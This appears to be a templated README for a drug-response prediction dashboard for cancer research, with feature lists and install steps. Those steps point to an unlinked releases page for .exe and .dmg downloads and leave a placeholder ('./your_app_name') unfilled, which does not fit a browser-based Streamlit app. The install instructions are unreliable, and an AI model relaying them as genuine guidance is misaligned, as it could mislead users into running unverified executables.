This application helps you understand how different drugs work based on various data. It is especially useful in the fields of cancer research and medicine. Follow the steps below to download and run the application.
- Operating System: Windows 10, macOS 10.14 or later, or Linux (Debian/Ubuntu)
- RAM: Minimum 4 GB
- Disk Space: At least 200 MB free
- Browser: Latest version of Chrome, Firefox, or Safari for optimal performance
- User-Friendly Interface: The dashboard is designed for ease of use with clear navigation.
- 6-Tab Streamlit Interface: Users can access various functions without feeling overwhelmed.
- Random Forest Predictions: This feature offers robust predictions based on provided data.
- Data Visualization: Generate publication-quality graphics for better insights.
- Dose-Response Modeling: Understand how drug doses affect responses.
- Biomarker Discovery: Identify important biological markers for drug response.
- Visit the Releases Page.
- Look for the latest release version.
- Download the file that corresponds to your operating system.
- For Windows, select the
.exefile. - For macOS, choose the
.dmgfile. - For Linux, look for the appropriate package file.
- For Windows, select the
- Once the download finishes, locate the file in your downloads folder.
- Open the file to start the installation process.
- Follow the prompts to install the application.
After installing, follow these steps to run the application:
- Windows: Find the installed application in your Start Menu and click to open.
- macOS: Navigate to your Applications folder and double-click the application icon.
- Linux: Open your terminal, navigate to the application directory, and type
./your_app_name.
The application will launch in your default web browser.
- Input Data: You can enter your experimental data and parameters directly in the input fields provided on the dashboard.
- Select Drug/Target: Choose the drug or target you are interested in exploring from the dropdown menus.
- Run Predictions: Click the "Predict" button to generate results.
- View Results: Analyze the results displayed on your screen. You will see visualizations and other important metrics.
If you encounter issues, please refer to the FAQ section on the Releases page. You can also reach out to the community in the Issues tab of the repository.
- Documentation: In-depth guides on how to use the application effectively.
- Source Code: If you are interested in the technical details or contributing to the project.
- Artificial Intelligence
- Bioinformatics
- Biomedical Data Science
- Drug Discovery
- Precision Medicine
Make sure to visit the Releases Page again in the future for updates and new features.